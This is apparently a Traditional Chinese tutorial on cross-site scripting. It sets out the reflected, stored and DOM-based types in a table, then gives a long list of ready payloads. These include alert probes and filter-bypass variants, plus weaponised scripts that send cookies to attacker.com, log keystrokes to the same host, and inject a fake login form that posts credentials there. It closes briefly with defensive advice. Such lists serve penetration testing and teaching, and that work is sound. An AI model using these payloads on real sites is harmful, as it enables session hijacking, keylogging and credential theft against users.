XSS(Cross-Site Scripting)是 OWASP Top 10 常年霸榜的 Web 漏洞。攻擊者注入惡意腳本,受害者瀏覽器執行後可竊取 Cookie、Session、鍵盤記錄、重導向釣魚頁、甚至植入鍵盤記錄器。本文系統整理反射型、儲存型、DOM 型三大分類、實戰 Payload、手工/工具測試流程與修補原則。
應用程式未對使用者輸入進行嚴格驗證、過濾、編碼,直接將輸出內嵌入 HTML/JS/屬性/事件處理器等語境,導致瀏覽器將資料誤判為可執行程式碼。
| 類型 | 特徵 | 攻擊流程 | 影響範圍 |
|---|---|---|---|
| 反射型 (Reflected) | 惡意腳本經 URL 參數/表單 → 伺服器直接回顯於回應頁面 → 受害者點擊惡意連結觸發 | 構造惡意 URL → 誘騙受害者點擊(郵件/IM/社群) → 瀏覽器執行腳本 | 單次、需互動、不可持久 |
| 儲存型 (Stored) | 惡意腳本寫入資料庫(留言板/評論/暱稱/日誌) → 所有瀏覽該頁面者自動執行 | 發布含 Payload 內容 → 管理員/用戶瀏覽頁面 → 自動觸發 | 持久、傳播廣、危害最大 |
| DOM 型 (DOM-based) | 伺服器回應靜態頁面,客戶端 JS 讀取 location.hash/search/referrer 等來源 → document.write/innerHTML/eval 動態渲染 → 執行 | 受害者瀏覽頁面 → 客戶端 JS 處理 URL 片段 → 觸發 | 伺服器端無痕跡,WAF 難偵測 |
基本驗證
<script>alert(1)</script>
<script>confirm(1)</script>
<script>prompt(1)</script>
HTML 實體編碼繞過
<script>alert(1)</script>
%3Cscript%3Ealert(1)%3C%2Fscript%3E
大小寫/標籤嵌套繞過
<ScRiPt>alert(1)</ScRiPt>
<scr<script>ipt>alert(1)</scr<script>ipt>
<script x=1>alert(1)</script>
事件處理器注入(無 script 標籤)
<img src=x onerror=alert(1)>
<svg onload=alert(1)>
<input autofocus onfocus=alert(1)>
<video onloadstart=alert(1)>
<details open ontoggle=alert(1)>
JavaScript 協議/偽協議
<a href="javascript:alert(1)">click</a>
location.href="javascript:alert(1)"
竊取 Cookie 並外傳
<script>fetch('https://attacker.com/log?c='+document.cookie)</script>
<img src=x onerror="fetch('https://attacker.com/log?c='+document.cookie)">
鍵盤記錄器
<script>document.onkeypress=function(e){fetch('https://attacker.com/log?k='+e.key)}</script>
釣魚表單注入
<div id=phish></div>
<script>document.getElementById('phish').innerHTML='<form action=https://attacker.com/phish>帳號:<input name=u>密碼:<input type=password name=p><button>登入</button></form>'</script>
XSS 雖老但永遠不會過時,因為每個新功能、新框架、新語境都可能引入新的注入面。開發者務必建立「不信任任何輸入、語境感知編碼、CSP 纵深防禦」的安全編碼文化。